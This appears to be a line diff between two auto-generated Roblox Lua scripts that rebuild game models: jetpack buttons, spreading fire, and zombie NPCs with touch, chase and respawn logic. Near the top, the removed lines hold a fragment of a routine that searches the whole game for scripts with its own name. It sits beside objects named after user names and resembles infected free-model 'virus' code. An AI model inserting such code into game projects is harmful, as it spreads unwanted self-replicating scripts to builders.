Part268.Rotation = Vector3.new(0, 90, 0)
4671-
		if (v.Name == script.Name and v.className == "Script" and v ~= script) then
4671+
Part268.Color = Color3.new(0.411765, 0.25098, 0.156863)
4672-
			v.Parent = nil;
4672+
Part268.Velocity = Vector3.new(3.66480722e-20, 0.00686328812, 3.64315933e-20)
4673-
		elseif (v.className == "Model" or v.className == "Tool" or v.className == "HopperBin" or v == workspace or v == game.Lighting or v == game.StarterPack) then
4673+
Part268.Size = Vector3.new(1, 2, 1)
4674-
			findAllCopies(v);
4674+
Part268.BottomSurface = Enum.SurfaceType.Smooth
4675
Part268.BrickColor = BrickColor.new("Reddish brown")
4676
Part268.CanCollide = false
4677
Part268.RotVelocity = Vector3.new(4.07127958e-25, 3.33696291e-22, 6.94702468e-25)
4678
Part268.brickColor = BrickColor.new("Reddish brown")
4679-
findAllCopies(game);
4679+
Part268.FormFactor = Enum.FormFactor.Symmetric
4680
Part268.formFactor = Enum.FormFactor.Symmetric
4681-
script.Parent = nil;]]
4681+
Part269.Name = "Right Leg"
4682
Part269.Parent = Model263
4683-
RotateP321.Name = "cptrick"
4683+
Part269.CFrame = CFrame.new(188.608551, 2.59995508, 235.013428, 0, 0, 1.00000072, 0, 1, 0, -1.00000072, 0, 0)
4684-
RotateP321.Parent = Script320
4684+
Part269.Orientation = Vector3.new(0, 90, 0)
4685-
RotateP322.Name = "stanley12345678910"
4685+
Part269.Position = Vector3.new(188.608551, 2.59995508, 235.013428)
4686-
RotateP322.Parent = Script320
4686+
Part269.Rotation = Vector3.new(0, 90, 0)
4687-
RotateP323.Name = "cahrlie84"
4687+
Part269.Color = Color3.new(0.411765, 0.25098, 0.156863)
4688-
RotateP323.Parent = Script320
4688+
Part269.Velocity = Vector3.new(3.6314376e-20, 0.00686328812, 3.64315933e-20)
4689-
RotateP324.Name = "charlie84"
4689+
Part269.Size = Vector3.new(1, 2, 1)
4690-
RotateP324.Parent = Script320
4690+
Part269.BottomSurface = Enum.SurfaceType.Smooth
4691-
RotateP325.Name = "al2tair"
4691+
Part269.BrickColor = BrickColor.new("Reddish brown")
4692-
RotateP325.Parent = Script320
4692+
Part269.CanCollide = false
4693-
Part326.Parent = Model0
4693+
Part269.RotVelocity = Vector3.new(4.07127958e-25, 3.33696291e-22, 6.94702468e-25)
4694-
Part326.CFrame = CFrame.new(175.5, 13.1999941, 206, 0, 0, -1, 0, 1, -0, 1, 0, -0)
4694+
Part269.brickColor = BrickColor.new("Reddish brown")
4695-
Part326.Orientation = Vector3.new(0, -90, 0)
4695+
Part269.FormFactor = Enum.FormFactor.Symmetric
4696-
Part326.Position = Vector3.new(175.5, 13.1999941, 206)
4696+
Part269.formFactor = Enum.FormFactor.Symmetric
4697-
Part326.Rotation = Vector3.new(0, -90, 0)
4697+
Humanoid270.Parent = Model263
4698-
Part326.Color = Color3.new(0.388235, 0.372549, 0.384314)
4698+
Humanoid270.LeftLeg = Part268
4699-
Part326.Velocity = Vector3.new(-1.54976708e-19, -0.0124181155, 1.86149969e-20)
4699+
Humanoid270.NameOcclusion = Enum.NameOcclusion.NoOcclusion
4700-
Part326.Size = Vector3.new(52, 2.4000001, 37)
4700+
Humanoid270.RightLeg = Part269
4701-
Part326.Anchored = true
4701+
Humanoid270.Torso = Part267
4702-
Part326.BottomSurface = Enum.SurfaceType.Smooth
4702+
Part271.Name = "zarm"
4703-
Part326.BrickColor = BrickColor.new("Dark stone grey")
4703+
Part271.Parent = Model263
4704-
Part326.RotVelocity = Vector3.new(1.00410485e-20, 6.26219062e-21, 1.04267748e-20)
4704+
Part271.CFrame = CFrame.new(188.108551, 5.09995508, 237.013428, -1.00000072, 0, 0, 0, 1, 0, 0, 0, -1.00000072)
4705-
Part326.TopSurface = Enum.SurfaceType.Smooth
4705+
Part271.Orientation = Vector3.new(0, 180, 0)
4706-
Part326.brickColor = BrickColor.new("Dark stone grey")
4706+
Part271.Position = Vector3.new(188.108551, 5.09995508, 237.013428)
4707-
Fire327.Parent = Part326
4707+
Part271.Rotation = Vector3.new(-180, 0, -180)
4708-
Fire327.Color = Color3.new(1, 0.72549, 0)
4708+
Part271.Color = Color3.new(0.631373, 0.768628, 0.54902)
4709-
Fire327.Enabled = false
4709+
Part271.Velocity = Vector3.new(3.69800334e-20, 0.00686328812, 3.65994592e-20)
4710-
Fire327.Size = 30
4710+
Part271.Size = Vector3.new(2, 1, 1)
4711-
Fire327.Heat = 25
4711+
Part271.BottomSurface = Enum.SurfaceType.Smooth
4712-
Fire327.SecondaryColor = Color3.new(1, 0, 0)
4712+
Part271.BrickColor = BrickColor.new("Medium green")
4713-
Fire327.size = 30
4713+
Part271.RotVelocity = Vector3.new(4.07127958e-25, 3.33696291e-22, 6.94702468e-25)
4714-
Script328.Name = "Spread"
4714+
Part271.TopSurface = Enum.SurfaceType.Smooth
4715-
Script328.Parent = Fire327
4715+
Part271.brickColor = BrickColor.new("Medium green")
4716-
table.insert(cors,sandbox(Script328,function()
4716+
Part271.FormFactor = Enum.FormFactor.Symmetric
4717-
function Spread(part)
4717+
Part271.formFactor = Enum.FormFactor.Symmetric
4718-
	check = part:findFirstChild("Fire")
4718+
Script272.Parent = Part271
4719-
		if check == nil then 
4719+
table.insert(cors,sandbox(Script272,function()
4720-
	script.Parent:Clone().Parent = part
4720+
wait(1)
4721-
	
4721+
owner=script.Parent.Parent.Name
4722-
		elseif check ~= nil then
4722+
4723-
	check.Size = check.Size + 1
4723+
function onTouched(part)
4724-
	check.Heat = check.Heat  +1
4724+
	if part.Parent ~= nil then
4725
		local h = part.Parent:findFirstChild("Humanoid")
4726
			if h~=nil then
4727
				if cantouch~=0 then
4728
					if h.Parent.Name~=owner then
4729-
script.Parent.Parent.Touched:connect(Spread)
4729+
						
4730
						if h.Parent:findFirstChild("zarm")~=nil then return end
4731
4732-
Part329.Parent = Model0
4732+
						cantouch=0
4733-
Part329.CFrame = CFrame.new(177.501465, 3.6089468, 235.5, 0, 0, -1, 0, 1, 0, 1, 0, 0)
4733+
4734-
Part329.Orientation = Vector3.new(0, -90, 0)
4734+
						local larm=h.Parent:findFirstChild("Left Arm")
4735-
Part329.Position = Vector3.new(177.501465, 3.6089468, 235.5)
4735+
						local rarm=h.Parent:findFirstChild("Right Arm")
4736-
Part329.Rotation = Vector3.new(0, -90, 0)
4736+
						
4737-
Part329.Color = Color3.new(0.388235, 0.372549, 0.384314)
4737+
						if larm~=nil then
4738-
Part329.Size = Vector3.new(7, 2.4000001, 3)
4738+
							larm:remove()
4739-
Part329.Anchored = true
4739+
						end
4740-
Part329.BrickColor = BrickColor.new("Dark stone grey")
4740+
						if rarm~=nil then
4741-
Part329.TopSurface = Enum.SurfaceType.Smooth
4741+
							rarm:remove()
4742-
Part329.brickColor = BrickColor.new("Dark stone grey")
4742+
						end
4743-
Fire330.Parent = Part329
4743+
						local zee=script.Parent.Parent:findFirstChild("zarm")
4744-
Fire330.Color = Color3.new(1, 0.72549, 0)
4744+
						if zee~=nil then
4745-
Fire330.Enabled = false
4745+
							local zlarm=zee:clone()
4746-
Fire330.Size = 30
4746+
							local zrarm=zee:clone()
4747-
Fire330.Heat = 25
4747+
							if zlarm~=nil then
4748-
Fire330.SecondaryColor = Color3.new(1, 0, 0)
4748+
4749-
Fire330.size = 30
4749+
							local rot=CFrame.new(0, 0, 0, 0, 0, 1, 0, 1, 0, -1, 0, 0)
4750-
Script331.Name = "Spread"
4750+
								zlarm.CFrame=h.Parent.Torso.CFrame * CFrame.new(Vector3.new(-1.5,0.5,-0.5)) * rot
4751-
Script331.Parent = Fire330
4751+
								zrarm.CFrame=h.Parent.Torso.CFrame * CFrame.new(Vector3.new(1.5,0.5,-0.5)) * rot
4752-
table.insert(cors,sandbox(Script331,function()
4752+
								zlarm.Parent=h.Parent
4753-
function Spread(part)
4753+
								zrarm.Parent=h.Parent
4754-
	check = part:findFirstChild("Fire")
4754+
								zlarm:makeJoints()
4755-
		if check == nil then 
4755+
								zrarm:makeJoints()
4756-
	script.Parent:Clone().Parent = part
4756+
								zlarm.Anchored=false
4757-
	
4757+
								zrarm.Anchored=false
4758-
		elseif check ~= nil then
4758+
								wait(0.1)
4759-
	check.Size = check.Size + 1
4759+
								h.Parent.Head.Color=zee.Color
4760-
	check.Heat = check.Heat  +1
4760+
							else print("no zee"); return end
4761
						end
4762
						wait(1)
4763
						cantouch=1
4764
					end
4765-
script.Parent.Parent.Touched:connect(Spread)
4765+
				end
4766
			end
4767
	end
4768-
Model332.Name = "Jetpack"
4768+
4769-
Model332.Parent = Model0
4769+
4770-
Part333.Name = "TheButton"
4770+
4771-
Part333.Parent = Model332
4771+
4772-
Part333.CFrame = CFrame.new(177.901611, 14.72264, 202.3125, -1, 0, 0, 0, 1, 0, 0, 0, -1)
4772+
Part273.Name = "zarm"
4773
Part273.Parent = Model263
4774-
Part333.Position = Vector3.new(177.901611, 14.72264, 202.3125)
4774+
Part273.CFrame = CFrame.new(188.108551, 5.09995508, 234.013428, -1.00000072, 0, 0, 0, 1, 0, 0, 0, -1.00000072)
4775
Part273.Orientation = Vector3.new(0, 180, 0)
4776-
Part333.Color = Color3.new(0.105882, 0.164706, 0.207843)
4776+
Part273.Position = Vector3.new(188.108551, 5.09995508, 234.013428)
4777-
Part333.Size = Vector3.new(3, 0.400000006, 1)
4777+
Part273.Rotation = Vector3.new(-180, 0, -180)
4778-
Part333.Anchored = true
4778+
Part273.Color = Color3.new(0.631373, 0.768628, 0.54902)
4779
Part273.Velocity = Vector3.new(3.59789445e-20, 0.00686328812, 3.65994592e-20)
4780-
Part333.BrickColor = BrickColor.new("Black")
4780+
Part273.Size = Vector3.new(2, 1, 1)
4781
Part273.BottomSurface = Enum.SurfaceType.Smooth
4782-
Part333.brickColor = BrickColor.new("Black")
4782+
Part273.BrickColor = BrickColor.new("Medium green")
4783-
Part333.FormFactor = Enum.FormFactor.Plate
4783+
Part273.RotVelocity = Vector3.new(4.07127958e-25, 3.33696291e-22, 6.94702468e-25)
4784-
Part333.formFactor = Enum.FormFactor.Plate
4784+
Part273.TopSurface = Enum.SurfaceType.Smooth
4785-
GuiMain334.Parent = Part333
4785+
Part273.brickColor = BrickColor.new("Medium green")
4786-
Frame335.Parent = GuiMain334
4786+
Part273.FormFactor = Enum.FormFactor.Symmetric
4787-
Frame335.Transparency = 1
4787+
Part273.formFactor = Enum.FormFactor.Symmetric
4788-
Frame335.Size = UDim2.new(0.389999986, 0, 0.300000012, 0)
4788+
Script274.Parent = Part273
4789-
Frame335.BackgroundColor = BrickColor.new("Dark stone grey")
4789+
table.insert(cors,sandbox(Script274,function()
4790-
Frame335.BackgroundColor3 = Color3.new(0.388235, 0.372549, 0.384314)
4790+
wait(1)
4791-
Frame335.BackgroundTransparency = 1
4791+
owner=script.Parent.Parent.Name
4792-
TextButton336.Name = "Jetoff"
4792+
4793-
TextButton336.Parent = Frame335
4793+
function onTouched(part)
4794-
TextButton336.Position = UDim2.new(2.20000005, 0, 0.300000012, 0)
4794+
	if part.Parent ~= nil then
4795-
TextButton336.Size = UDim2.new(0.200000003, 0, 0.300000012, 0)
4795+
		local h = part.Parent:findFirstChild("Humanoid")
4796-
TextButton336.BackgroundColor = BrickColor.new("Hot pink")
4796+
			if h~=nil then
4797-
TextButton336.BackgroundColor3 = Color3.new(0.85098, 0, 0.85098)
4797+
				if cantouch~=0 then
4798-
TextButton336.Text = "Jetpack Off"
4798+
					if h.Parent.Name~=owner then
4799-
TextButton336.TextColor = BrickColor.new("Navy blue")
4799+
						
4800-
TextButton336.TextColor3 = Color3.new(0, 0.12549, 0.376471)
4800+
						if h.Parent:findFirstChild("zarm")~=nil then return end
4801-
Script337.Parent = TextButton336
4801+
4802
						cantouch=0
4803-
local player = script.Parent.Parent.Parent.Parent.Parent.Character
4803+
4804
						local larm=h.Parent:findFirstChild("Left Arm")
4805-
function onClick(mouse)
4805+
						local rarm=h.Parent:findFirstChild("Right Arm")
4806-
	if player.Jetpack.Middle:findFirstChild("BVel") then 
4806+
						
4807-
		player.Jetpack.Flame2.Transparency = 1
4807+
						if larm~=nil then
4808-
		player.Jetpack.Flame1.Transparency = 1
4808+
							larm:remove()
4809-
		player.Jetpack.Middle.BVel:remove()
4809+
						end
4810
						if rarm~=nil then
4811
							rarm:remove()
4812
						end
4813-
script.Parent.MouseButton1Down:connect(onClick)
4813+
						local zee=script.Parent.Parent:findFirstChild("zarm")
4814
						if zee~=nil then
4815-
Script338.Parent = TextButton336
4815+
							local zlarm=zee:clone()
4816
							local zrarm=zee:clone()
4817-
local player = script.Parent.Parent.Parent.Parent.Parent.Character
4817+
							if zlarm~=nil then
4818
4819-
function onClick(mouse)
4819+
							local rot=CFrame.new(0, 0, 0, 0, 0, 1, 0, 1, 0, -1, 0, 0)
4820-
	if player.Jetpack.Middle:findFirstChild("BHov") then 
4820+
								zlarm.CFrame=h.Parent.Torso.CFrame * CFrame.new(Vector3.new(-1.5,0.5,-0.5)) * rot
4821-
		player.Jetpack.Flame2.Transparency = 1
4821+
								zrarm.CFrame=h.Parent.Torso.CFrame * CFrame.new(Vector3.new(1.5,0.5,-0.5)) * rot
4822-
		player.Jetpack.Flame1.Transparency = 1
4822+
								zlarm.Parent=h.Parent
4823-
		player.Jetpack.Middle.BHov:remove()
4823+
								zrarm.Parent=h.Parent
4824
								zlarm:makeJoints()
4825
								zrarm:makeJoints()
4826
								zlarm.Anchored=false
4827-
script.Parent.MouseButton1Down:connect(onClick)
4827+
								zrarm.Anchored=false
4828
								wait(0.1)
4829-
TextButton339.Name = "Reset"
4829+
								h.Parent.Head.Color=zee.Color
4830-
TextButton339.Parent = Frame335
4830+
							else print("no zee"); return end
4831-
TextButton339.Position = UDim2.new(2, 0, 0.600000024, 0)
4831+
						end
4832-
TextButton339.Size = UDim2.new(0.200000003, 0, 0.300000012, 0)
4832+
						wait(1)
4833-
TextButton339.BackgroundColor = BrickColor.new("Bright red")
4833+
						cantouch=1
4834-
TextButton339.BackgroundColor3 = Color3.new(0.952941, 0.156863, 0.109804)
4834+
					end
4835-
TextButton339.BorderColor = BrickColor.new("Dark stone grey")
4835+
				end
4836-
TextButton339.BorderColor3 = Color3.new(0.388235, 0.372549, 0.384314)
4836+
4837-
TextButton339.Text = "Reset"
4837+
4838-
TextButton339.TextColor = BrickColor.new("Navy blue")
4838+
4839-
TextButton339.TextColor3 = Color3.new(0, 0.12549, 0.376471)
4839+
4840-
Script340.Parent = TextButton339
4840+
4841-
table.insert(cors,sandbox(Script340,function()
4841+
4842-
-- XxMegamanxX
4842+
ObjectValue275.Name = "IsNZ"
4843
ObjectValue275.Parent = Model263
4844-
local player = script.Parent.Parent.Parent.Parent.Parent
4844+
IntValue276.Name = "Mode"
4845
IntValue276.Parent = Model263
4846-
function onClick(mouse)
4846+
Script277.Parent = Model263
4847
table.insert(cors,sandbox(Script277,function()
4848-
	player.Character:breakJoints() -- Delete this to make a script yourself.
4848+
local larm = script.Parent:FindFirstChild("Left Arm")
4849
local rarm = script.Parent:FindFirstChild("Right Arm")
4850
4851
function findNearestTorso(pos)
4852-
script.Parent.MouseButton1Down:connect(onClick)
4852+
	local list = game.Workspace:children()
4853
	local torso = nil
4854-
TextButton341.Name = "Jeton"
4854+
	local dist = 1000
4855-
TextButton341.Parent = Frame335
4855+
	local temp = nil
4856-
TextButton341.Position = UDim2.new(2, 0, 0.300000012, 0)
4856+
	local human = nil
4857-
TextButton341.Size = UDim2.new(0.200000003, 0, 0.300000012, 0)
4857+
	local temp2 = nil
4858-
TextButton341.BackgroundColor = BrickColor.new("Royal purple")
4858+
	for x = 1, #list do
4859-
TextButton341.BackgroundColor3 = Color3.new(0.384314, 0.145098, 1)
4859+
		temp2 = list[x]
4860-
TextButton341.Text = "Jetpack On"
4860+
		if (temp2.className == "Model") and (temp2 ~= script.Parent) then
4861-
TextButton341.TextColor = BrickColor.new("Navy blue")
4861+
			temp = temp2:findFirstChild("Right Arm")
4862-
TextButton341.TextColor3 = Color3.new(0, 0.12549, 0.376471)
4862+
			human = temp2:findFirstChild("Humanoid")
4863-
Script342.Parent = TextButton341
4863+
			if (temp ~= nil) and (human ~= nil) and (human.Health > 0) then
4864-
table.insert(cors,sandbox(Script342,function()
4864+
				if (temp.Position - pos).magnitude < dist then
4865-
local player = script.Parent.Parent.Parent.Parent.Parent.Character
4865+
					torso = temp
4866-
local bv = script.BVel:clone()
4866+
					dist = (temp.Position - pos).magnitude
4867
				end
4868-
function onClick(mouse)
4868+
4869
		end
4870-
	player.Jetpack.Flame2.Transparency = 0.4
4870+
4871-
	player.Jetpack.Flame1.Transparency = 0.4
4871+
	return torso
4872-
	bv.Parent = player.Jetpack.Middle
4872+
4873
4874
4875
4876-
script.Parent.MouseButton1Down:connect(onClick)
4876+
4877
while true do
4878-
BodyVelocity343.Name = "BVel"
4878+
	wait(math.random(1,5))
4879-
BodyVelocity343.Parent = Script342
4879+
	local target = findNearestTorso(script.Parent.Torso.Position)
4880-
BodyVelocity343.MaxForce = Vector3.new(0, 99999, 0)
4880+
	if target ~= nil then
4881-
BodyVelocity343.maxForce = Vector3.new(0, 99999, 0)
4881+
		script.Parent.Humanoid:MoveTo(target.Position, target)
4882-
BodyVelocity343.Velocity = Vector3.new(0, 20, 0)
4882+
4883-
BodyVelocity343.velocity = Vector3.new(0, 20, 0)
4883+
4884-
TextButton344.Name = "Hoveroff"
4884+
4885-
TextButton344.Parent = Frame335
4885+
4886-
TextButton344.Position = UDim2.new(2.20000005, 0, 1.59999995e-08, 0)
4886+
4887-
TextButton344.Size = UDim2.new(0.200000003, 0, 0.300000012, 0)
4887+
Script278.Name = "Health"
4888-
TextButton344.BackgroundColor = BrickColor.new("Mauve")
4888+
Script278.Parent = Model263
4889-
TextButton344.BackgroundColor3 = Color3.new(0.890196, 0.686275, 1)
4889+
table.insert(cors,sandbox(Script278,function()
4890-
TextButton344.Text = "Hover Off"
4890+
function waitForChild(parent, childName)
4891-
TextButton344.TextColor = BrickColor.new("Navy blue")
4891+
	while true do
4892-
TextButton344.TextColor3 = Color3.new(0, 0.12549, 0.376471)
4892+
		local child = parent:findFirstChild(childName)
4893-
Script345.Parent = TextButton344
4893+
		if child then
4894-
table.insert(cors,sandbox(Script345,function()
4894+
4895-
local player = script.Parent.Parent.Parent.Parent.Parent.Character
4895+
4896
		parent.ChildAdded:wait()
4897-
function onClick(mouse)
4897+
4898-
	if player.Chest.Middle:findFirstChild("BHov") then 
4898+
4899-
		player.Jetpack.Flame2.Transparency = 1
4899+
4900-
		player.Jetpack.Flame1.Transparency = 1
4900+
-- declarations
4901-
		player.Jetpack.Middle.BHov:remove()
4901+
4902
local Figure = script.Parent
4903
local Head = waitForChild(Figure, "Head")
4904
local Humanoid = waitForChild(Figure, "Humanoid")
4905-
script.Parent.MouseButton1Down:connect(onClick)
4905+
Humanoid.Health=500
4906
-- regeneration
4907-
TextButton346.Name = "Hoveron"
4907+
4908-
TextButton346.Parent = Frame335
4908+
	local s = wait(4)
4909-
TextButton346.Position = UDim2.new(2, 0, 2.40000002e-08, 0)
4909+
	local health = Humanoid.Health
4910-
TextButton346.Size = UDim2.new(0.200000003, 0, 0.300000012, 0)
4910+
	if health > 0 and health < Humanoid.MaxHealth then
4911-
TextButton346.BackgroundColor = BrickColor.new("Hot pink")
4911+
		health = health + 0.08 * s * Humanoid.MaxHealth
4912-
TextButton346.BackgroundColor3 = Color3.new(1, 0, 0.933333)
4912+
		if health * 1.05 < Humanoid.MaxHealth then
4913-
TextButton346.Text = "Hover On"
4913+
			Humanoid.Health = health
4914-
TextButton346.TextColor = BrickColor.new("Navy blue")
4914+
		else
4915-
TextButton346.TextColor3 = Color3.new(0, 0.12549, 0.376471)
4915+
			Humanoid.Health = Humanoid.MaxHealth
4916-
Script347.Parent = TextButton346
4916+
4917-
table.insert(cors,sandbox(Script347,function()
4917+
4918-
local player = script.Parent.Parent.Parent.Parent.Parent.Character
4918+
4919-
local bh = script.BHov:clone()
4919+
4920
end))
4921-
function onClick(mouse)
4921+
Script279.Name = "Respawn"
4922
Script279.Parent = Model263
4923-
	player.Jetpack.Flame2.Transparency = 0.4
4923+
4924-
	player.Jetpack.Flame1.Transparency = 0.4
4924+
name="Humanoid"
4925-
	bh.Parent = player.Jetpack.Middle
4925+
4926
robo=script.Parent:clone()
4927
4928
while true do
4929-
script.Parent.MouseButton1Down:connect(onClick)
4929+
	wait(1)
4930
	if script.Parent.Humanoid.Health<1 then
4931-
BodyVelocity348.Name = "BHov"
4931+
		robot=robo:clone()
4932-
BodyVelocity348.Parent = Script347
4932+
		robot.Parent=script.Parent.Parent
4933-
BodyVelocity348.MaxForce = Vector3.new(0, 100000, 0)
4933+
		robot:makeJoints()
4934-
BodyVelocity348.maxForce = Vector3.new(0, 100000, 0)
4934+
		script.Parent:remove()
4935-
BodyVelocity348.Velocity = Vector3.new(0, 0.100000001, 0)
4935+
4936-
BodyVelocity348.velocity = Vector3.new(0, 0.100000001, 0)
4936+
4937-
BodyForce349.Parent = Part333
4937+
4938-
BodyForce349.Force = Vector3.new(0, 216.000015, 0)
4938+
4939-
BodyForce349.force = Vector3.new(0, 216.000015, 0)
4939+
4940-
Script350.Name = "Torso"
4940+
4941-
Script350.Parent = Part333
4941+
4942-
table.insert(cors,sandbox(Script350,function()
4942+
Part280.Name = "Spawn Location"
4943-
function onTouched(hit)
4943+
Part280.Parent = Model262
4944-
	if hit.Parent:findFirstChild("Humanoid") ~= nil and hit.Parent:findFirstChild("Jetpack") == nil then
4944+
Part280.CFrame = CFrame.new(188.113556, 0.603015006, 235.491455, -1.00000024, 0, 0, 0, 1, 0, 0, 0, -1.00000024)
4945-
		local g = script.Parent.Parent.Jetpack:clone()
4945+
Part280.Orientation = Vector3.new(0, 180, 0)
4946-
		g.Parent = hit.Parent
4946+
Part280.Position = Vector3.new(188.113556, 0.603015006, 235.491455)
4947-
		local C = g:GetChildren()
4947+
Part280.Rotation = Vector3.new(-180, 0, -180)
4948-
		for i=1, #C do
4948+
Part280.Color = Color3.new(0.631373, 0.768628, 0.54902)
4949-
			if C[i].className == "Part" then
4949+
Part280.Size = Vector3.new(6, 1.20000005, 6)
4950-
				local W = Instance.new("Weld")
4950+
Part280.BottomSurface = Enum.SurfaceType.Weld
4951-
				W.Part0 = g.Middle
4951+
Part280.BrickColor = BrickColor.new("Medium green")
4952-
				W.Part1 = C[i]
4952+
4953-
				local CJ = CFrame.new(g.Middle.Position)
4953+
Part280.brickColor = BrickColor.new("Medium green")
4954-
				local C0 = g.Middle.CFrame:inverse()*CJ
4954+
Decal281.Parent = Part280
4955-
				local C1 = C[i].CFrame:inverse()*CJ
4955+
Decal281.Texture = "http://www.roblox.com/asset/?id=34541722"
4956-
				W.C0 = C0
4956+
Decal281.Face = Enum.NormalId.Top
4957-
				W.C1 = C1
4957+
Model282.Parent = Model201
4958-
				W.Parent = g.Middle
4958+
Model283.Name = "Zombie"
4959
Model283.Parent = Model282
4960-
				local Y = Instance.new("Weld")
4960+
Model283.PrimaryPart = Part284
4961-
				Y.Part0 = hit.Parent.Torso
4961+
Part284.Name = "Head"
4962-
				Y.Part1 = g.Middle
4962+
Part284.Parent = Model283
4963-
				Y.C0 = CFrame.new(0, 0, 0)
4963+
Part284.CFrame = CFrame.new(188.608551, 6.09995508, 241.513428, 0, 0, 1.00000072, 0, 1, 0, -1.00000072, 0, 0)
4964-
				Y.Parent = Y.Part0
4964+
Part284.Orientation = Vector3.new(0, 90, 0)
4965
Part284.Position = Vector3.new(188.608551, 6.09995508, 241.513428)
4966
Part284.Rotation = Vector3.new(0, 90, 0)
4967-
		local h = g:GetChildren()
4967+
Part284.Color = Color3.new(0.631373, 0.768628, 0.54902)
4968-
		for i = 1, # h do
4968+
Part284.Velocity = Vector3.new(3.64787943e-20, 0.00686328812, 3.64330182e-20)
4969-
			h[i].Anchored = false
4969+
Part284.Size = Vector3.new(2, 1, 1)
4970-
			h[i].CanCollide = false
4970+
Part284.BrickColor = BrickColor.new("Medium green")
4971
Part284.RotVelocity = Vector3.new(4.07127958e-25, 3.33696291e-22, 6.94702468e-25)
4972
Part284.TopSurface = Enum.SurfaceType.Smooth
4973
Part284.brickColor = BrickColor.new("Medium green")
4974
Part284.FormFactor = Enum.FormFactor.Symmetric
4975
Part284.formFactor = Enum.FormFactor.Symmetric
4976
SpecialMesh285.Parent = Part284
4977
SpecialMesh285.Scale = Vector3.new(1.25, 1.25, 1.25)
4978-
Script351.Parent = Part333
4978+
Decal286.Name = "face"
4979-
table.insert(cors,sandbox(Script351,function()
4979+
Decal286.Parent = Part284
4980-
function onTouch(hit)
4980+
Part287.Name = "Torso"
4981
Part287.Parent = Model283
4982-
	local ptt = game.Players:playerFromCharacter(hit.Parent)
4982+
Part287.CFrame = CFrame.new(188.608551, 4.59995508, 241.513428, 0, 0, 1.00000024, 0, 1, 0, -1.00000024, 0, 0)
4983-
	if ptt == nil then return end 
4983+
Part287.Orientation = Vector3.new(0, 90, 0)
4984-
	local wfp = script.Parent:findFirstChild("GuiMain"):clone() --change "NameOfTheWeaponHere" to the weapon you want to give
4984+
Part287.Position = Vector3.new(188.608551, 4.59995508, 241.513428)
4985-
	if wfp == nil then return end 
4985+
Part287.Rotation = Vector3.new(0, 90, 0)
4986-
	wfp.Parent = ptt.PlayerGui
4986+
Part287.Color = Color3.new(0.411765, 0.25098, 0.156863)
4987
Part287.Velocity = Vector3.new(3.64798347e-20, 0.00686328812, 3.64324075e-20)
4988
Part287.Size = Vector3.new(2, 2, 1)
4989
Part287.BrickColor = BrickColor.new("Reddish brown")
4990-
script.Parent.Touched:connect(onTouch)
4990+
Part287.LeftParamA = 0
4991
Part287.LeftParamB = 0
4992-
Fire352.Parent = Part333
4992+
Part287.LeftSurface = Enum.SurfaceType.Weld
4993-
Fire352.Color = Color3.new(1, 0.745098, 0)
4993+
Part287.RightParamA = 0
4994-
Fire352.Enabled = false
4994+
Part287.RightParamB = 0
4995-
Fire352.Size = 30
4995+
Part287.RightSurface = Enum.SurfaceType.Weld
4996-
Fire352.Heat = 25
4996+
Part287.RotVelocity = Vector3.new(4.07127958e-25, 3.33696291e-22, 6.94702468e-25)
4997-
Fire352.SecondaryColor = Color3.new(1, 0, 0)
4997+
Part287.brickColor = BrickColor.new("Reddish brown")
4998-
Fire352.size = 30
4998+
Part287.FormFactor = Enum.FormFactor.Symmetric
4999-
Script353.Parent = Fire352
4999+
Part287.formFactor = Enum.FormFactor.Symmetric
5000-
table.insert(cors,sandbox(Script353,function()
5000+
Part288.Name = "Left Leg"
5001-
function Spread(part)
5001+
Part288.Parent = Model283
5002-
	check = part:findFirstChild("Fire")
5002+
Part288.CFrame = CFrame.new(188.608551, 2.59995508, 242.013428, 0, 0, 1.00000072, 0, 1, 0, -1.00000072, 0, 0)
5003-
		if check == nil then 
5003+
Part288.Orientation = Vector3.new(0, 90, 0)
5004-
	script.Parent:Clone().Parent = part
5004+
Part288.Position = Vector3.new(188.608551, 2.59995508, 242.013428)
5005-
	
5005+
Part288.Rotation = Vector3.new(0, 90, 0)
5006-
		elseif check ~= nil then
5006+
Part288.Color = Color3.new(0.411765, 0.25098, 0.156863)
5007-
	check.Size = check.Size + 1
5007+
Part288.Velocity = Vector3.new(3.66480722e-20, 0.00686328812, 3.64315933e-20)
5008-
	check.Heat = check.Heat  +1
5008+
Part288.Size = Vector3.new(1, 2, 1)
5009
Part288.BottomSurface = Enum.SurfaceType.Smooth
5010
Part288.BrickColor = BrickColor.new("Reddish brown")
5011
Part288.CanCollide = false
5012
Part288.RotVelocity = Vector3.new(4.07127958e-25, 3.33696291e-22, 6.94702468e-25)
5013-
script.Parent.Parent.Touched:connect(Spread)
5013+
Part288.brickColor = BrickColor.new("Reddish brown")
5014
Part288.FormFactor = Enum.FormFactor.Symmetric
5015
Part288.formFactor = Enum.FormFactor.Symmetric
5016
Part289.Name = "Right Leg"
5017-
Model354.Name = "Jetpack"
5017+
Part289.Parent = Model283
5018-
Model354.Parent = Model332
5018+
Part289.CFrame = CFrame.new(188.608551, 2.59995508, 241.013428, 0, 0, 1.00000072, 0, 1, 0, -1.00000072, 0, 0)
5019-
Part355.Name = "Flame2"
5019+
Part289.Orientation = Vector3.new(0, 90, 0)
5020-
Part355.Parent = Model354
5020+
Part289.Position = Vector3.new(188.608551, 2.59995508, 241.013428)
5021-
Part355.CFrame = CFrame.new(178.801758, 14.688776, 204.3125, 0, 0, 1, 0, 1, 0, -1, 0, 0)
5021+
Part289.Rotation = Vector3.new(0, 90, 0)
5022-
Part355.Orientation = Vector3.new(0, 90, 0)
5022+
Part289.Color = Color3.new(0.411765, 0.25098, 0.156863)
5023-
Part355.Position = Vector3.new(178.801758, 14.688776, 204.3125)
5023+
Part289.Velocity = Vector3.new(3.6314376e-20, 0.00686328812, 3.64315933e-20)
5024-
Part355.Rotation = Vector3.new(0, 90, 0)
5024+
Part289.Size = Vector3.new(1, 2, 1)
5025-
Part355.Color = Color3.new(0.0509804, 0.411765, 0.67451)
5025+
Part289.BottomSurface = Enum.SurfaceType.Smooth
5026-
Part355.Transparency = 0.40000000596046
5026+
Part289.BrickColor = BrickColor.new("Reddish brown")
5027-
Part355.Size = Vector3.new(1, 0.400000006, 1)
5027+
Part289.CanCollide = false
5028-
Part355.Anchored = true
5028+
Part289.RotVelocity = Vector3.new(4.07127958e-25, 3.33696291e-22, 6.94702468e-25)
5029-
Part355.BottomSurface = Enum.SurfaceType.Smooth
5029+
Part289.brickColor = BrickColor.new("Reddish brown")
5030-
Part355.BrickColor = BrickColor.new("Bright blue")
5030+
Part289.FormFactor = Enum.FormFactor.Symmetric
5031-
Part355.CanCollide = false
5031+
Part289.formFactor = Enum.FormFactor.Symmetric
5032-
